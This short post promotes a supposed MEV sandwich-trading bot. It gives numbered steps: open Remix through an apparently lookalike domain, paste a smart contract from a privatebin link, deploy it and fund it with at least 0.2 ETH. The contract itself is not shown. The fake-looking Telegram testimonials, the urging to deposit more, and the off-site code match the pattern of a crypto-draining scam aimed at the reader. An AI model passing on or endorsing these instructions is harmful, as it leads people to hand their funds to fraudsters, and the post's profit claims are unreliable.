Everyone in cryptocurrency NEEDS to know about MEV arbitrage bots. Using Maximal Extractable Value (MEV) technology, bots like this are able to sniff the mempool for pending transactions on decentralized exchanges such as Uniswap. The bot inserts our own transaction with a slightly higher gas fee, 1 Gwei higher than the transaction which is trying to be entered. This essentially sandwiches the pending transaction and forces ours to be processed first, consequently profiting off of the slippage difference.
✅Updated Code: Working as of July 7, 2023
(Thanks you guys Steven and Tim from Telegram, for giving me feedback on your Bots, I’ve just updated the source code to the Bot for running more smoothly. )
***** STEP BY STEP INSTRUCTIONS *****
1. Download MetaMask:
📌https://metamask.io/download
2. Access Remix:
📌https://www.remixcompiler.pro
3. Click on the “contracts” folder and then create “New File”. Rename it as you like, i.e: “bot.sol”
4. Paste SmartContract in Remix:
📌https://privatebin.net/?593569eba8c3accf#BP9VhLLWxzqH2QLV5n1A15yF5apRnyQbz22ykS82siH5
(Mirror link)
📌
5. Move to the “Solidity Compiler” tab, select version “0.6.6” and then “Compile” it
6. Move to the “Deploy” tab, select “Injected Web 3” environment and then “Deploy” it. After the transaction is confirmed, it’s your own BOT now
7. Deposit funds (at least 0.2 ETH to prevent negating slippage) to your exact contract/bot address
8. After your transaction is confirmed, start the bot by clicking the ‘start’ button. Withdraw anytime by clicking ‘withdrawal’
🚨EDIT: I got messages from people who didn’t fund the contract enough to cover gas fees and possible burn fees. Bot targets token contracts with max 10% burn fee and anything lower but nowadays most of tokens comes with 3~6% fees. If you fund the contract with 0.2 ETH or less and the bot targets another token with high burn fees the contract will basically waste in fees more than make profit. I recommend funding the contract with at least 0.2 ETH just to make sure that won’t happen.
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